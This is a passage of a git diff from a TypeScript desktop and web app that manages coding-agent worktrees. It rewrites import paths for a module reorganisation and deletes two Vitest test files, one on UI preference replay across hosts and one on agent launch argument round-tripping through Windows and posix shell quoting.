b/src/renderer/src/store/workspaces/selection/active-worktree-deselection-intent.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' // Automatic process-exit deselection allows handoff; user-cleared selection must remain cleared. let automaticDeselectionDepth = 0 diff --git a/src/renderer/src/store/workspaces/selection/known-worktree-selection.ts b/src/renderer/src/store/workspaces/selection/known-worktree-selection.ts index 8654722f2ae..a56c1cd6596 100644 --- a/src/renderer/src/store/workspaces/selection/known-worktree-selection.ts +++ b/src/renderer/src/store/workspaces/selection/known-worktree-selection.ts @@ -1,5 +1,5 @@ import type { AppState } from '../../types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { findKnownWorktreeById } from '../../slices/worktrees/listing/detected-worktree-meta' import { getSelectedFolderTwinHostId } from '../../../lib/workspace/ownership/folder-workspace-runtime-owner' diff --git a/src/renderer/src/store/workspaces/selection/use-selected-worktree.ts b/src/renderer/src/store/workspaces/selection/use-selected-worktree.ts index 778fb599eb2..231f9a20930 100644 --- a/src/renderer/src/store/workspaces/selection/use-selected-worktree.ts +++ b/src/renderer/src/store/workspaces/selection/use-selected-worktree.ts @@ -1,5 +1,5 @@ import { useAppStore } from '../../index' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { selectKnownWorktreeById, selectFileListWorktree } from './known-worktree-selection' export const useActiveWorktreeId = () => useAppStore((s) => s.activeWorktreeId) diff --git a/src/renderer/src/store/workspaces/selection/worktree-on-host-selector.ts b/src/renderer/src/store/workspaces/selection/worktree-on-host-selector.ts index 5750ed46785..a1051d4d168 100644 --- a/src/renderer/src/store/workspaces/selection/worktree-on-host-selector.ts +++ b/src/renderer/src/store/workspaces/selection/worktree-on-host-selector.ts @@ -1,6 +1,6 @@ import type { Worktree } from '../../../../../shared/worktree/types' import type { AppState } from '../../types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { getIndexedWorktreesById as getCachedWorktreesById } from '../../slices/worktrees/listing/worktree-catalog-index' import { selectWorktreesByRepo } from '../catalog/workspace-record-fields' import { worktreeCopyOwnerKey } from '../../slices/worktrees/metadata/worktree-copy-review-clear' diff --git a/src/renderer/src/store/workspaces/status/host-workspace-status-columns.ts b/src/renderer/src/store/workspaces/status/host-workspace-status-columns.ts index d3171223499..f49c6e6bbd3 100644 --- a/src/renderer/src/store/workspaces/status/host-workspace-status-columns.ts +++ b/src/renderer/src/store/workspaces/status/host-workspace-status-columns.ts @@ -3,7 +3,7 @@ import { DEFAULT_WORKSPACE_STATUS_ID, mergeHostWorkspaceStatuses } from '../../../../../shared/workspace/status/workspace-statuses' -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { WorkspaceStatus, WorkspaceStatusDefinition diff --git a/src/renderer/src/web/preload-api/web-ai-vault-api.ts b/src/renderer/src/web/preload-api/web-ai-vault-api.ts index c6ff4eaafdb..53df9968754 100644 --- a/src/renderer/src/web/preload-api/web-ai-vault-api.ts +++ b/src/renderer/src/web/preload-api/web-ai-vault-api.ts @@ -27,7 +27,7 @@ import { toRuntimeExecutionHostId, type ExecutionHostId, type ExecutionHostScope -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { assertEnvironmentPairing, diff --git a/src/renderer/src/web/preload-api/web-native-chat-settings.ts b/src/renderer/src/web/preload-api/web-native-chat-settings.ts index 26f00901447..bacecec44ed 100644 --- a/src/renderer/src/web/preload-api/web-native-chat-settings.ts +++ b/src/renderer/src/web/preload-api/web-native-chat-settings.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { RuntimeStatus } from '../../../../shared/remote-runtime/session-graph/runtime-session-contracts' import type { StoredWebRuntimeEnvironment } from '../web-runtime-environment' import { AGENT_SESSION_USAGE_LIMIT_AUTO_CONTINUE_RUNTIME_CAPABILITY } from '../../../../shared/agent-session/agent-session-create-capabilities' diff --git a/src/renderer/src/web/preload-api/web-preference-normalization.ts b/src/renderer/src/web/preload-api/web-preference-normalization.ts index 985595a5e29..31e006e3481 100644 --- a/src/renderer/src/web/preload-api/web-preference-normalization.ts +++ b/src/renderer/src/web/preload-api/web-preference-normalization.ts @@ -10,7 +10,8 @@ import { carriedChatUiLaunchSettings } from '../../../../shared/native-chat/native-chat-providers' import { normalizeAutoRenameBranchFromWorkDefaultOn } from '../../../../shared/source-control/ai/settings/auto-rename-branch-from-work-settings' -import { getDefaultSettings, normalizeAgentActivityDisplayMode } from '../../../../shared/constants' +import { getDefaultSettings } from '../../../../shared/orca-profiles/constants' +import { normalizeAgentActivityDisplayMode } from '../../../../shared/agent-status/presentation/agent-activity-display-mode' import { normalizeWorktreeCardProperties } from '../../../../shared/worktree/row-display/card-properties' import { normalizeContextualTourIds, @@ -23,12 +24,12 @@ import { } from '../../../../shared/feature-education/interactions/feature-interactions' import type { FeatureInteractionId } from '../../../../shared/feature-education/interactions/feature-interaction-catalog' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { PairedUiState, PairingLocalUiField } from '../../../../shared/remote-runtime/pairing/pairing-local-ui-fields' -import type { PersistedUIState } from '../../../../shared/persisted-ui-state-types' +import type { PersistedUIState } from '../../../../shared/orca-profiles/persisted-ui-state-types' import { normalizeStatusBarUsageMode } from '../../../../shared/status-bar/status-bar-usage-mode' import { normalizeStatusBarUsageFormat } from '../../../../shared/status-bar/status-bar-usage-format' import { normalizeTerminalCustomThemes } from '../../../../shared/terminal-themes/terminal-custom-themes' diff --git a/src/renderer/src/web/preload-api/web-preferences-store.ts b/src/renderer/src/web/preload-api/web-preferences-store.ts index 3a1bdcb6369..ab54759ff8a 100644 --- a/src/renderer/src/web/preload-api/web-preferences-store.ts +++ b/src/renderer/src/web/preload-api/web-preferences-store.ts @@ -1,11 +1,11 @@ import * as chatSettings from './web-native-chat-settings' import type { PreloadApi } from '../../../../preload/api-types' -import { getDefaultSettings, getDefaultUIState } from '../../../../shared/constants' +import { getDefaultSettings, getDefaultUIState } from '../../../../shared/orca-profiles/constants' import { getWorktreeCardModeProperties } from '../../../../shared/worktree/row-display/card-properties' import { normalizeWorktreeVisibilityDefaults } from '../../../../shared/worktree/visibility/external-worktree-visibility' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { osc52ClipboardDefaultOnOverridesPersistedOff } from '../../../../shared/terminal/clipboard/osc52-clipboard-settings' -import type { PersistedUIState } from '../../../../shared/persisted-ui-state-types' +import type { PersistedUIState } from '../../../../shared/orca-profiles/persisted-ui-state-types' import { applyPRBotAuthorOverride, normalizePRBotAuthorOverrides diff --git a/src/renderer/src/web/preload-api/web-runtime-calls.ts b/src/renderer/src/web/preload-api/web-runtime-calls.ts index 02531d96aef..70432d9a73a 100644 --- a/src/renderer/src/web/preload-api/web-runtime-calls.ts +++ b/src/renderer/src/web/preload-api/web-runtime-calls.ts @@ -4,8 +4,11 @@ import { } from '../../runtime/rpc/calls/runtime-rpc-result' import type { PreloadApi } from '../../../../preload/api-types' import type { WebRuntimeSubscribeOptions } from '../web-runtime-subscription-contract' -import { parseExecutionHostId, toRuntimeExecutionHostId } from '../../../../shared/execution-host' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import { + parseExecutionHostId, + toRuntimeExecutionHostId +} from '../../../../shared/execution-host/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' import type { RuntimeRpcResponse } from '../../../../shared/remote-runtime/rpc/runtime-rpc-envelope' import type { RuntimeStatus } from '../../../../shared/remote-runtime/session-graph/runtime-session-contracts' diff --git a/src/renderer/src/web/preload-api/web-runtime-session.ts b/src/renderer/src/web/preload-api/web-runtime-session.ts index baaeb00139d..cdaf7ebcf94 100644 --- a/src/renderer/src/web/preload-api/web-runtime-session.ts +++ b/src/renderer/src/web/preload-api/web-runtime-session.ts @@ -3,7 +3,7 @@ import type { RuntimeHostStatusResponse } from '../../../../shared/remote-runtime/host-status/runtime-host-status' import type { ZcodePlanSite } from '../../../../shared/agent-accounts/usage-credentials/zcode-plan-sites' -import type { WorktreeVisibilityDefaults } from '../../../../shared/global-settings-types' +import type { WorktreeVisibilityDefaults } from '../../../../shared/repository/repo-types' import { RuntimeRpcCallQueuePool } from '../../../../shared/remote-runtime/rpc/runtime-rpc-call-queue' import type { RuntimeRpcResponse } from '../../../../shared/remote-runtime/rpc/runtime-rpc-envelope' import type { Worktree } from '../../../../shared/worktree/types' diff --git a/src/renderer/src/web/preload-api/web-runtime-worktree-catalog.ts b/src/renderer/src/web/preload-api/web-runtime-worktree-catalog.ts index f6ec2f22225..9f51d0396fa 100644 --- a/src/renderer/src/web/preload-api/web-runtime-worktree-catalog.ts +++ b/src/renderer/src/web/preload-api/web-runtime-worktree-catalog.ts @@ -1,5 +1,5 @@ import { relativePathInsideRoot } from '../../../../shared/file-access/cross-platform-path' -import { toRuntimeExecutionHostId } from '../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../shared/repository/repo-types' import type { DetectedWorktreeListResult, Worktree } from '../../../../shared/worktree/types' import { diff --git a/src/renderer/src/web/preload-api/web-speech-api.ts b/src/renderer/src/web/preload-api/web-speech-api.ts index 3699e46db96..aea8407ec03 100644 --- a/src/renderer/src/web/preload-api/web-speech-api.ts +++ b/src/renderer/src/web/preload-api/web-speech-api.ts @@ -1,6 +1,6 @@ import type { SpeechApi } from '../../../../preload/api/speech/speech-api' -import type { GlobalSettings } from '../../../../shared/global-settings-types' -import { getDefaultVoiceSettings } from '../../../../shared/constants' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' +import { getDefaultVoiceSettings } from '../../../../shared/orca-profiles/constants' import type { SpeechErrorEvent, SpeechLifecycleEvent, diff --git a/src/renderer/src/web/preload-api/web-ui-explorer-root.test.ts b/src/renderer/src/web/preload-api/web-ui-explorer-root.test.ts deleted file mode 100644 index 013ce1dc0e2..00000000000 --- a/src/renderer/src/web/preload-api/web-ui-explorer-root.test.ts +++ /dev/null @@ -1,114 +0,0 @@ -// @vitest-environment happy-dom -import { beforeEach, expect, it, vi } from 'vitest' -import { getDefaultUIState } from '../../../../shared/constants' -import { createWebUiApi } from './web-ui-api' - -const runtime = vi.hoisted(() => ({ call: vi.fn(), id: 'old' })) -vi.mock('./web-runtime-calls', () => ({ callRuntimeResult: runtime.call })) -vi.mock('./web-runtime-session', () => ({ - webRuntimeState: { activeEnvironment: null }, - requireActiveEnvironmentOrNull: () => ({ id: runtime.id }) -})) -beforeEach(() => { - localStorage.clear() - runtime.call.mockReset() - runtime.id = 'old' -}) - -it('replays unacknowledged preferences after reload and host upgrade', async () => { - let ui = createWebUiApi() - const { explorerDisplayRootByWorktree: _unused, ...oldUI } = getDefaultUIState() - runtime.call.mockResolvedValue({ ui: oldUI }) - await ui.get() - await expect(ui.setWithAck!({ explorerDisplayRootByWorktree: { wt: 'src' } })).rejects.toThrow() - expect((await ui.get()).explorerDisplayRootByWorktree).toEqual({ wt: 'src' }) - ui = createWebUiApi() - runtime.call.mockResolvedValue({ ui: getDefaultUIState() }) - expect((await ui.get()).explorerDisplayRootByWorktree).toEqual({ wt: 'src' }) - expect(runtime.call).toHaveBeenLastCalledWith( - 'ui.set', - { explorerDisplayRootByWorktree: { wt: 'src' } }, - 15000 - ) - runtime.call.mockClear().mockResolvedValue({ ui: getDefaultUIState() }) - await ui.get() - expect(runtime.call).toHaveBeenCalledTimes(1) -}) - -it('isolates queued preferences by host and retries a failed replay', async () => { - const ui = createWebUiApi() - runtime.call.mockResolvedValue({}) - await expect(ui.setWithAck!({ explorerDisplayRootByWorktree: { wt: 'src' } })).rejects.toThrow() - runtime.id = 'another' - runtime.call.mockClear().mockResolvedValue({ ui: getDefaultUIState() }) - await ui.get() - expect(runtime.call).toHaveBeenCalledTimes(1) - runtime.id = 'old' - runtime.call - .mockResolvedValueOnce({ ui: getDefaultUIState() }) - .mockRejectedValueOnce(new Error('Offline')) - await ui.get() - runtime.call.mockClear().mockResolvedValue({ ui: getDefaultUIState() }) - await ui.get() - expect(runtime.call).toHaveBeenLastCalledWith( - 'ui.set', - { explorerDisplayRootByWorktree: { wt: 'src' } }, - 15000 - ) -}) - -it.each([true, false])( - 'preserves a newer preference during replay (write succeeds: %j)', - async (succeeds) => { - const ui = createWebUiApi() - runtime.call.mockResolvedValue({}) - await expect( - ui.setWithAck!({ explorerDisplayRootByWorktree: { wt: 'first' } }) - ).rejects.toThrow() - let finish!: () => void - runtime.call.mockResolvedValueOnce({ ui: getDefaultUIState() }).mockImplementationOnce( - () => - new Promise((resolve) => { - finish = resolve - }) - ) - const reading = ui.get() - await vi.waitFor(() => expect(finish).toBeTypeOf('function')) - runtime.call.mockImplementationOnce(() => - succeeds ? Promise.resolve({}) : Promise.reject(new Error('Offline')) - ) - const writing = ui.setWithAck!({ explorerDisplayRootByWorktree: { wt: 'second' } }) - await (succeeds ? writing : expect(writing).rejects.toThrow('Offline')) - finish() - expect((await reading).explorerDisplayRootByWorktree).toEqual({ wt: 'second' }) - runtime.call.mockClear().mockResolvedValue({ ui: getDefaultUIState() }) - await ui.get() - if (succeeds) { - expect(runtime.call).toHaveBeenCalledTimes(1) - } else { - expect(runtime.call).toHaveBeenLastCalledWith( - 'ui.set', - { explorerDisplayRootByWorktree: { wt: 'second' } }, - 15000 - ) - } - } -) - -it('does not replay to a different host when the active host changes during ui.get', async () => { - const ui = createWebUiApi() - runtime.call.mockResolvedValue({}) - await expect(ui.setWithAck!({ explorerDisplayRootByWorktree: { wt: 'src' } })).rejects.toThrow() - let finish!: (value: unknown) => void - runtime.call.mockClear().mockImplementationOnce( - () => - new Promise((resolve) => { - finish = resolve - }) - ) - const reading = ui.get() - runtime.id = 'another' - finish({ ui: getDefaultUIState() }) - await reading - expect(runtime.call).toHaveBeenCalledTimes(1) -}) diff --git a/src/renderer/src/web/preload-api/web-workspace-session-api.ts b/src/renderer/src/web/preload-api/web-workspace-session-api.ts index d5a2ed6cde6..108dfc05a79 100644 --- a/src/renderer/src/web/preload-api/web-workspace-session-api.ts +++ b/src/renderer/src/web/preload-api/web-workspace-session-api.ts @@ -1,10 +1,10 @@ import type { PreloadApi } from '../../../../preload/api-types' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import { LOCAL_EXECUTION_HOST_ID, normalizeExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import type { WorkspaceSessionPatch, WorkspaceSessionState diff --git a/src/renderer/src/web/preload-api/web-worktree-card-style-sync.ts b/src/renderer/src/web/preload-api/web-worktree-card-style-sync.ts index b58c58983eb..603cae2c520 100644 --- a/src/renderer/src/web/preload-api/web-worktree-card-style-sync.ts +++ b/src/renderer/src/web/preload-api/web-worktree-card-style-sync.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { webRuntimeState } from './web-runtime-session' type CardStyleSettings = Pick< diff --git a/src/renderer/src/web/preload-api/web-zcode-plan-site.ts b/src/renderer/src/web/preload-api/web-zcode-plan-site.ts index 37f358a70d4..c52c7907d9a 100644 --- a/src/renderer/src/web/preload-api/web-zcode-plan-site.ts +++ b/src/renderer/src/web/preload-api/web-zcode-plan-site.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { StoredWebRuntimeEnvironment } from '../web-runtime-environment' import { webRuntimeState } from './web-runtime-session' diff --git a/src/renderer/src/web/web-file-mutation-methods.ts b/src/renderer/src/web/web-file-mutation-methods.ts index 086b94a85a8..3bb6e74d258 100644 --- a/src/renderer/src/web/web-file-mutation-methods.ts +++ b/src/renderer/src/web/web-file-mutation-methods.ts @@ -1,5 +1,5 @@ import type { PreloadApi } from '../../../preload/api-types' -import { parseExecutionHostId } from '../../../shared/execution-host' +import { parseExecutionHostId } from '../../../shared/execution-host/execution-host' import type { SshConnectionState, SshMutationExpectation diff --git a/src/renderer/src/web/web-workspace-session.ts b/src/renderer/src/web/web-workspace-session.ts index 93c0c53b29a..88aa1a5ebed 100644 --- a/src/renderer/src/web/web-workspace-session.ts +++ b/src/renderer/src/web/web-workspace-session.ts @@ -1,4 +1,4 @@ -import { getDefaultWorkspaceSession } from '../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' export function sanitizeWebRuntimeWorkspaceSession( diff --git a/src/shared/agent-accounts/local-account-runtime.ts b/src/shared/agent-accounts/local-account-runtime.ts index b30c8c4b55a..8682b37f7dc 100644 --- a/src/shared/agent-accounts/local-account-runtime.ts +++ b/src/shared/agent-accounts/local-account-runtime.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../global-settings-types' +import type { GlobalSettings } from '../settings/global-settings-types' import { normalizeGlobalWindowsRuntimeDefault } from '../execution-host/project-runtime-preference' export type LocalAccountRuntimeTarget = { diff --git a/src/shared/agent-hook-listener/configuration/agent-status-hooks-setting.ts b/src/shared/agent-hook-listener/configuration/agent-status-hooks-setting.ts index 5f72b2707e8..3d3a75bbe80 100644 --- a/src/shared/agent-hook-listener/configuration/agent-status-hooks-setting.ts +++ b/src/shared/agent-hook-listener/configuration/agent-status-hooks-setting.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' import type { TuiAgent } from '../../agent-launch/catalog/tui-agent' import { isTuiAgentEnabled } from '../../agent-launch/catalog/tui-agent-selection' diff --git a/src/shared/agent-launch/catalog/tui-agent-selection.ts b/src/shared/agent-launch/catalog/tui-agent-selection.ts index 07c67b50806..8fb0bcfb37c 100644 --- a/src/shared/agent-launch/catalog/tui-agent-selection.ts +++ b/src/shared/agent-launch/catalog/tui-agent-selection.ts @@ -1,5 +1,5 @@ import type { TuiAgent } from './tui-agent' -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' import { isTuiAgent } from './tui-agent-config' // Match desktop catalog order: this determines fallback priority without a selected default. diff --git a/src/shared/agent-launch/choices/agent-launch-legacy-publication.test.ts b/src/shared/agent-launch/choices/agent-launch-legacy-publication.test.ts deleted file mode 100644 index 65ab2e38cb5..00000000000 --- a/src/shared/agent-launch/choices/agent-launch-legacy-publication.test.ts +++ /dev/null @@ -1,309 +0,0 @@ -import { expect, it } from 'vitest' -import { - agentLaunchSettingsMutationUpdates, - projectAgentLaunchSettings, - type AgentLaunchSettingsSource -} from './agent-launch-settings' -import { legacyLaunchTextUpdates } from './agent-launch-permission-updates' -import { composeAgentLaunchProfile } from './tui-agent-launch-defaults' -import { structuredLaunchSeedOptions } from '../../native-chat/input/session-options/native-chat-session-option-defaults' -import { createGlobalSettingsFixture } from '../../global-settings-test-fixture' -import { quoteStartupArg, tokenizeStartupCommand } from '../startup/tui-agent-startup-shell' - -it('conserves canonical identity across both host-shell publications, edits and removals', () => { - for (const [terminalWindowsShell, shell] of [ - ['powershell.exe', 'powershell'], - ['cmd.exe', 'cmd'], - ['git-bash', 'posix'] - ] as const) { - for (const target of ['arguments', 'user-arguments'] as const) { - let settings = createGlobalSettingsFixture({ - terminalWindowsShell, - agentPermissionDefault: 'own', - agentDefaultArgs: { claude: '--verbose', codex: '--search' }, - agentDefaultEnv: { claude: { KEEP: 'host' } }, - agentLaunchChoices: { - claude: { model: String.raw`org\model`, options: { effort: 'high' } }, - codex: { model: 'gpt-5.6-sol' } - }, - nativeChatSessionOptions: { - claude: { model: 'sonnet', valuesByModel: { sonnet: { effort: 'low' } } } - } - }) - const published = projectAgentLaunchSettings(settings, 'win32') - const text = - target === 'arguments' - ? published.agentDefaultArgs.claude! - : published.agentPermission!.userArgs.claude! - expect(tokenizeStartupCommand(text, shell)).toMatchObject({ - ok: true, - tokens: ['--model', String.raw`org\model`, '--effort', 'high', '--verbose'] - }) - expect( - agentLaunchSettingsMutationUpdates( - settings, - { type: target, agent: 'claude', value: text }, - 'win32' - ) - ).toEqual({}) - const update = (value: string) => { - const patch = agentLaunchSettingsMutationUpdates( - settings, - { type: target, agent: 'claude', value }, - 'win32' - ) - settings = { ...settings, ...patch } - } - update(`${text} --debug`) - expect(settings.agentLaunchChoices?.claude).toEqual({ - model: String.raw`org\model`, - options: { effort: 'high' } - }) - expect(settings.agentDefaultArgs?.claude).toBe('--verbose --debug') - expect(structuredLaunchSeedOptions(settings, 'claude')).toMatchObject({ - model: String.raw`org\model`, - effort: 'high' - }) - expect( - tokenizeStartupCommand( - composeAgentLaunchProfile(settings, 'win32').agentDefaultArgs.claude!, - shell - ) - ).toMatchObject({ - ok: true, - tokens: ['--model', String.raw`org\model`, '--effort', 'high', '--verbose', '--debug'] - }) - update('--verbose --debug') - expect(settings.agentLaunchChoices?.claude).toBeUndefined() - expect(settings.agentLaunchChoices?.codex).toEqual({ model: 'gpt-5.6-sol' }) - expect(settings.agentDefaultEnv?.claude).toEqual({ KEEP: 'host' }) - expect(structuredLaunchSeedOptions(settings, 'claude')).toMatchObject({ - model: 'sonnet', - effort: 'low' - }) - } - } -}) - -it('handles a whole-map legacy no-op, removed sibling and permission carrier in the same transaction', () => { - const settings = createGlobalSettingsFixture({ - terminalWindowsShell: 'cmd.exe', - agentPermissionDefault: 'ask', - agentLaunchChoices: { - claude: { model: 'org/model', options: { effort: 'high' } }, - codex: { model: 'gpt-5.6-sol' } - }, - agentDefaultArgs: { claude: '--verbose', codex: '--search' } - }) - const published = composeAgentLaunchProfile(settings, 'win32') - const noop = legacyLaunchTextUpdates( - settings, - { agentDefaultArgs: published.agentDefaultArgs }, - 'win32' - ) - expect(noop).toEqual({}) - const changed = legacyLaunchTextUpdates( - settings, - { - agentDefaultArgs: { - ...published.agentDefaultArgs, - claude: '--model org/model --effort high --verbose --debug', - codex: '' - } - }, - 'win32' - ) - expect(changed.agentLaunchChoices?.claude).toEqual(settings.agentLaunchChoices?.claude) - expect(changed.agentLaunchChoices?.codex).toBeUndefined() - expect(changed.agentPermissionOverrides?.claude).toBe('own') - expect(changed.agentDefaultArgs?.claude).toBe('--verbose --debug') -}) - -it('keeps native-only unrepresented choices and cuts Windows settings with their actual grammar', () => { - const native: AgentLaunchSettingsSource = { - agentPermissionDefault: 'own', - agentLaunchChoices: { openclaw: { model: 'native-only' } }, - agentDefaultArgs: { openclaw: '' } - } - const changed = agentLaunchSettingsMutationUpdates( - native, - { type: 'arguments', agent: 'openclaw', value: '--debug' }, - 'linux' - ) - expect(changed.agentLaunchChoices?.openclaw).toEqual({ model: 'native-only' }) - const opaque = createGlobalSettingsFixture({ - terminalWindowsShell: 'cmd.exe', - agentPermissionDefault: 'own', - agentLaunchChoices: { claude: { model: 'sonnet', options: { fastMode: 'true' } } }, - agentDefaultArgs: { claude: '--settings ./user-settings.json --add-dir docs' } - }) - const opaqueText = projectAgentLaunchSettings(opaque, 'win32').agentDefaultArgs.claude! - const opaqueEdit = agentLaunchSettingsMutationUpdates( - opaque, - { type: 'arguments', agent: 'claude', value: `${opaqueText} --debug` }, - 'win32' - ) - expect(opaqueEdit.agentLaunchChoices?.claude).toEqual(opaque.agentLaunchChoices?.claude) - expect(opaqueEdit.agentDefaultArgs?.claude).toBe( - '--settings ./user-settings.json --add-dir docs --debug' - ) - for (const [terminalWindowsShell, shell, fastMode] of [ - ['cmd.exe', 'cmd', 'true'], - ['powershell.exe', 'powershell', 'false'] - ] as const) { - const settings = createGlobalSettingsFixture({ - terminalWindowsShell, - agentPermissionDefault: 'own', - agentLaunchChoices: { claude: { model: 'sonnet', options: { fastMode } } }, - agentDefaultArgs: { - claude: `--settings ${quoteStartupArg('{"theme":"light"}', shell)} --add-dir docs` - }, - nativeChatSessionOptions: { - claude: { model: 'sonnet', valuesByModel: { sonnet: { fastMode: fastMode !== 'true' } } } - } - }) - const publication = projectAgentLaunchSettings(settings, 'win32') - for (const target of ['arguments', 'user-arguments'] as const) { - const text = - target === 'arguments' - ? publication.agentDefaultArgs.claude! - : publication.agentPermission!.userArgs.claude! - expect( - agentLaunchSettingsMutationUpdates( - settings, - { type: target, agent: 'claude', value: text }, - 'win32' - ) - ).toEqual({}) - const changed = agentLaunchSettingsMutationUpdates( - settings, - { type: target, agent: 'claude', value: `${text} --debug` }, - 'win32' - ) - expect(changed.agentLaunchChoices?.claude).toEqual(settings.agentLaunchChoices?.claude) - expect(tokenizeStartupCommand(changed.agentDefaultArgs?.claude ?? '', shell)).toMatchObject({ - ok: true, - tokens: ['--settings', '{"theme":"light"}', '--add-dir', 'docs', '--debug'] - }) - expect(structuredLaunchSeedOptions({ ...settings, ...changed }, 'claude')?.fastMode).toBe( - fastMode - ) - const sibling = agentLaunchSettingsMutationUpdates( - settings, - { type: target, agent: 'claude', value: `${text.replace('light', 'dark')} --debug` }, - 'win32' - ) - expect(sibling.agentLaunchChoices?.claude).toEqual(settings.agentLaunchChoices?.claude) - expect(tokenizeStartupCommand(sibling.agentDefaultArgs?.claude ?? '', shell)).toMatchObject({ - ok: true, - tokens: ['--settings', '{"theme":"dark"}', '--add-dir', 'docs', '--debug'] - }) - const stringValue = agentLaunchSettingsMutationUpdates( - settings, - { - type: target, - agent: 'claude', - value: `--model sonnet --settings ${quoteStartupArg(`{"theme":"light","fastMode":"${fastMode}"}`, shell)} --debug` - }, - 'win32' - ) - expect(stringValue.agentLaunchChoices?.claude).toEqual({ model: 'sonnet' }) - expect( - tokenizeStartupCommand(stringValue.agentDefaultArgs?.claude ?? '', shell) - ).toMatchObject({ - ok: true, - tokens: ['--settings', `{"theme":"light","fastMode":"${fastMode}"}`, '--debug'] - }) - const removed = agentLaunchSettingsMutationUpdates( - { ...settings, ...changed }, - { - type: target, - agent: 'claude', - value: `--model sonnet --settings ${quoteStartupArg('{"theme":"dark"}', shell)} --add-dir docs --debug` - }, - 'win32' - ) - expect(removed.agentLaunchChoices?.claude).toEqual({ model: 'sonnet' }) - expect(tokenizeStartupCommand(removed.agentDefaultArgs?.claude ?? '', shell)).toMatchObject({ - ok: true, - tokens: ['--settings', '{"theme":"dark"}', '--add-dir', 'docs', '--debug'] - }) - } - } -}) - -it('conserves the composed model tuple only while its actual carrier remains', () => { - const flat: AgentLaunchSettingsSource = { - agentPermissionDefault: 'own', - agentLaunchChoices: { cursor: { model: 'gpt-5.3-codex', options: { fastMode: 'false' } } }, - agentDefaultArgs: { cursor: '--verbose' } - } - const flatText = projectAgentLaunchSettings(flat, 'linux').agentDefaultArgs.cursor! - const flatEdit = agentLaunchSettingsMutationUpdates( - flat, - { type: 'arguments', agent: 'cursor', value: `${flatText} --debug` }, - 'linux' - ) - expect(flatEdit.agentLaunchChoices?.cursor).toEqual(flat.agentLaunchChoices?.cursor) - expect(flatEdit.agentDefaultArgs?.cursor).toBe('--verbose --debug') - const flatRemoved = agentLaunchSettingsMutationUpdates( - { ...flat, ...flatEdit }, - { type: 'arguments', agent: 'cursor', value: '--verbose --debug' }, - 'linux' - ) - expect(flatRemoved.agentLaunchChoices?.cursor).toBeUndefined() - expect(flatRemoved.agentDefaultArgs?.cursor).toBe('--verbose --debug') - const unrepresented = agentLaunchSettingsMutationUpdates( - flat, - { - type: 'launch-choices', - agent: 'cursor', - patch: { options: { fastMode: 'future-value' } } - }, - 'linux' - ) - const future = { ...flat, ...unrepresented } - expect(future.agentLaunchChoices?.cursor).toEqual({ - model: 'gpt-5.3-codex', - options: { fastMode: 'future-value' } - }) - const futureText = projectAgentLaunchSettings(future, 'linux').agentDefaultArgs.cursor! - expect(futureText).toBe(flatText) - const futureEdit = agentLaunchSettingsMutationUpdates( - future, - { type: 'arguments', agent: 'cursor', value: `${futureText} --debug` }, - 'linux' - ) - expect(futureEdit.agentLaunchChoices?.cursor).toEqual(future.agentLaunchChoices?.cursor) - expect(futureEdit.agentDefaultArgs?.cursor).toBe('--verbose --debug') - for (const modelArgs of ['', '--model auto ']) { - const retired = agentLaunchSettingsMutationUpdates( - { ...future, ...futureEdit }, - { type: 'arguments', agent: 'cursor', value: `${modelArgs}--verbose --debug` }, - 'linux' - ) - expect(retired.agentLaunchChoices?.cursor).toEqual(modelArgs ? { model: 'auto' } : undefined) - expect(retired.agentDefaultArgs?.cursor).toBe('--verbose --debug') - } - const settings: AgentLaunchSettingsSource = { - agentPermissionDefault: 'own', - agentLaunchChoices: { - cursor: { model: 'claude-opus-4-8', options: { thinking: 'true', effort: 'high' } } - }, - agentDefaultArgs: { cursor: '--verbose' } - } - const text = projectAgentLaunchSettings(settings, 'linux').agentDefaultArgs.cursor! - const changed = agentLaunchSettingsMutationUpdates( - settings, - { type: 'arguments', agent: 'cursor', value: `${text} --debug` }, - 'linux' - ) - expect(changed.agentLaunchChoices?.cursor).toEqual(settings.agentLaunchChoices?.cursor) - expect(changed.agentDefaultArgs?.cursor).toBe('--verbose --debug') - const removed = agentLaunchSettingsMutationUpdates( - { ...settings, ...changed }, - { type: 'arguments', agent: 'cursor', value: '--model claude-opus-4-8 --verbose --debug' }, - 'linux' - ) - 